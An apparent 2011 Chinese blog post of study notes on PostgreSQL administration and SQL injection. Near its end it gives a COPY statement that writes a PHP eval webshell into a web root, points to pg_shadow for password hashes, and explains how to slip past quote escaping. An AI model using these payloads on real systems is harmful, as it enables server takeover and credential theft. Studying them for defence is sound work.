Author:LengF

    PostTime:2011-08-17

    相信大家平时关注最多的是Mysql和MSSQL,当然了Oracle也已经备受关注。但是一些比较“少见”的数据库,比如DB2,Postgresql,Sybase ASE,Informix。如果不知道这些数据库的特性就没办法谈注入和管理了。那么本文只是个人学习笔记的一部分,因为碰到了Postgresql了所以就认真看了官方相关文档及一些网络文档。实践并总结了这些分享与大家。本文只描述在Linux平台的postgresql[separator]

1.Postgresql概述

    Postgresq是从Berkeley的Postgres 项目衍生出的RDBMS,早期版本是4.2和postgresql 95,新版本替换了查询语言为SQL(原本是PostQUEL),并增加了一个交互式的psql。本次测试平台是postgresql8.4+ubuntu 10.04上。

基本信息:

(1)一般默认安装路径

/usr/local/pgsql
/var/lib/pgsql
/usr/lib/postgresql/8.4      # 这是我ubuntu下的默认路径
/usr/syno/pgsql/              # synolog NAS的默认路径

    如果不知道安装在那里可以通过下面命令:(同样也可以用find命令)

whereis postgresql

    返回:

postgresql: /etc/postgresql /usr/lib/postgresql /usr/share/postgresql

    找到默认路径是为了防止一些Linux系统(我碰到)没有将psql这个命令关联的到用户环境变量中。因为我们管理需要用到这个交互式的psql
默认端口为5432,默认情况是没有启用网络的,要开启必须设置tcpip_socket为true,设置listen_address参数。可以采用SSL通信。

(2)权限问题

    postgresql在Linux下是不允许以root用户登录和运行的(处于安全考虑)。一般默认在安装过程会创建一个用户postgres的用户,这个用户权限比较低。说到权限问题必须说到几个关键的术语:前端(客户机)、postmaster和后端,必须分清楚,postmaster和后端是不同的,尽管可能用相同的程序实现。前端首先和postmaster通信,指定他要连接数据库,postmaster会验证访问是否得到允许,一旦前端通过身份认证,postmaster会生成一个后端 进程将连接移交过去。随后查询和结果将在前端和后端之间发生。postmaster不再参与。

(3)文件目录

    这里只列出安全相关的文件,包括配置文件和数据库本身存放data目录,这些目录值有时候会被赋给$PGDATA的环境变量,所以有时候你找到数据和配置文件放在那里可以尝试执行命令:

echo $PGDATA

    本次我测试的没有这个环境变量,因为我没有数据库和配置信息。下面列出重要几个文件

/data/pg_hda.conf   # 允许和拒绝访问数据的记录,包括认证方法
/data/postmaster.conf #postmaster的配置
/data/pg_ident.conf  # 数据库用户和系统用户映射信息
/data/PG_VERSION   # 版本信息
/global/pg_database  # 数据库名和路径的映射关系

    默认的数据库名有:

"template1"   
"template0"
"postgres"
/global/pg_group   # 用户组
/global/pg_pwd      # 用户名
/global/pg_shadow  #  用户密码

    不同环境下目录有存在差异,需要自己查找灵活变通。

2.简单的管理

    首先你不能通过root账户管理,必须切换到一个运行postgresql最高或者低于这个权限用户(当然要有映射关系),常见用户是postgres和admin,使用命令:

su -l postgres

    然后执行:

/usr/lib/postgresql/8.4/bin/psql 数据库|为空

    如果后面跟一个存在的数据就表示管理该数据库,如果没有就是和用户名一样的数据库名。常用命令如下:

\copyright     # 版本

\h  # 命令帮助,和help一样

\?  # 查看psql命令

\q  # 退出当前管理

    进入后输入\? 查看psql帮助,如下:

\e [FILE]              # 利用外部编辑器编辑缓冲区的文件或者sql

\f [FUNCNAME]   # 函数编辑

\p                    # 显示查询缓冲区

\r                    # 清楚查询缓冲区

\s [FILE]           # 显示历史或者保存到文件

\w FILE            # 将查询写入文件

\copy ...              perform SQL COPY with data stream to the client host

\echo [STRING]         write string to standard output

\i FILE                # 从文件执行命令

\o [FILE]              # 发送所有查询结果到文件

    在数据库经常使用命令如下:

\l                # 列出当前数据库所有的数据库名

\c 数据库    # 连接数据库

\dt             # 显示所有表名

\d 表名       # 显示表名

    其他SQL语句和其他数据库类似我就不赘述了。

3.导出和导入数据库

    导出数据库:

pg_dump database >/home/LengF/pgbackup/database.bak  # 指定数据库备份

pg_dumpall >/home/LengF/pgbackup/all.bak   # 备份所有数据库

pg_dump database|split -b 500 >/home/LengF/pgbackup/database.bak  # 备份并以500kb分割备份文件

    导入数据库:

createdb lengf;

psql < 备份文件路径;

    基本管理就说了这些。

3.Postgresql注入特性

[1]注入SQL语法基本和其他基本一样
[2]支持/*、/**/、–注释,;和\g表示语句结束,连接字符串用||(类似于mssql中的+)
[3]内置函数:current_database(),session_user,current_user
[4]不要忘记查询下pg_user、pg_group、pg_shadow,还有上面的pg_database
[5]写文件可以和其他数据库一样,但是你还记得我上面的copy命令?

copy (select ‘<?php eval($_POST[a]);?>’) to ‘/var/www/lf.php’

[6]照样可以读文件pg_read_file函数,不过一般比较鸡肋,不推荐
[7]常见架构是PHP+Postgresql,所以我们必须考虑GPC,但是不要怕,我们可以把需要用到单引号的地方换成$即可成功绕过了。

    另外推荐一篇SQL注入整理:http://hi.baidu.com/pg5yl8/blog/item/689ffb0f226696396159f3e3.html

4.总结

    本文重点在于描述postgresql的安全特性,注重于利用。具体还需要大家自行实验和练习。那么掌握了这个数据库,其他数据库你是不是也可以一通百通?扯淡结束。

    参考文档:http://wenku.baidu.com/view/2fc0252c7375a417866f8ffd.html